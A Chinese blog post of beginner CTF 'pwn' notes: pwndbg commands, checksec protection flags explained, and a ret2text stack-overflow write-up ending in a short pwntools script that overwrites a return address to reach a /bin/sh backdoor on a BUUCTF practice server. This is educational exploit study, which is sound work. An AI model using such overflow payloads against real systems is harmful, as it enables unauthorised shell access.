TypechoJoeTheme

霍雅的博客

登录
用户名
密码
/
注册
用户名
邮箱

pwn练习1 pwn工具使用 基础栈溢出

2025-04-20
/
0 评论
/
9 阅读
/
正在检测是否收录...
04/20

pwngdb

gdb filename进入调试可执行程序
r开始/重新运行
c运行到断点
q退出
n单步步过
s不如
p/x用于计算
vmmap获取映射表
x/gx x/gi x/gs以数据/汇编/字符串的形式查看内存
b address / function_name / $rebase(address)绝对地址 / 函数名 / 相对地址下断点
fin跳出当前函数,执行到函数返回处
context重新打印页面信息
code查看程序基址
libc查看libc基址

checksec

checksec filename 查看架构、端序、保护

RELRO(Relocation Read-Only)

  • 作用:保护 GOT(全局偏移表)不被修改。
  • 类型:

    • No RELRO:无保护,GOT 可写,易被攻击。
    • Partial RELRO:部分保护,GOT 表本身不可读写,但表项可被修改。
    • Full RELRO:完全保护,GOT 全部设为只读,防止 GOT 劫持攻击。

    STACK CANARY(栈金丝雀)

  • 作用:防止栈溢出。
  • 表现:

    • Canary found:启用了栈溢出保护机制,在栈中布置随机值(称为金丝雀),在函数返回前进行检查。
    • No canary found:未启用,存在栈溢出漏洞风险。

    NX(No eXecute)

  • 作用:防止执行数据段(比如栈上的 shellcode)。
  • 表现:

    • NX enabled:启用了不可执行标志,数据段不可执行。
    • NX disabled:禁用,攻击者可向栈上注入可执行 shellcode。

    PIE(Position Independent Executable)

  • 作用:启用地址随机化(ASLR)。
  • 表现:

    • PIE enabled:支持地址空间布局随机化,每次运行加载地址不同,增加利用难度。
    • No PIEPIE disabled:程序加载地址固定,容易被攻击者计算偏移地址。

    RPATH / RUNPATH

  • 作用:指定动态库查找路径。
  • 表现:

    • No RPATH / RUNPATH:无特定路径,默认查找系统目录。
    • 有路径:攻击者可能放置恶意库文件到指定路径下造成劫持风险。

    Symbols

  • 作用:是否包含符号表(如函数名等)。
  • Yes:有调试符号,方便逆向分析(对攻击者有利)。
  • No:已去除符号,增强安全性。

寄存器
64位一个地址占8字节 64位使用p64
32位一个地址占4字节 32位使用p32

ret2text

ret2text就是函数存在get栈溢出
同时text段有后门函数

后面函数有个/bin/sh

地址是0x40118A

我们现在需要做的是填充s到rbp所在的地址+上rbp加上远程地址
rbp到栈底是F也就是15,rbp的地址长度是8
)
所以我们需要构造0xF+0x8
然后再把ret地址覆盖成后门函数地址

from pwn import *
context(arch='amd64',os='linux',log_level='debug')
#r=process('./filename')#打本地使用
r=remote('node5.buuoj.cn',26560)
p=b'a'*(0xF+0x8)+p64(0x40118A)
r.sendline(p)
r.interactive()

r.sendlineafter(b'inpur',p)是接收到input再去发送,after是换行

朗读
赞(0)
版权属于:

霍雅的博客

本文链接:

https://huoya.work/bk/index.php/archives/509/(转载时请注明本文出处及文章链接)

评论 (0)

人生倒计时

今日已经过去小时
这周已经过去
本月已经过去
今年已经过去个月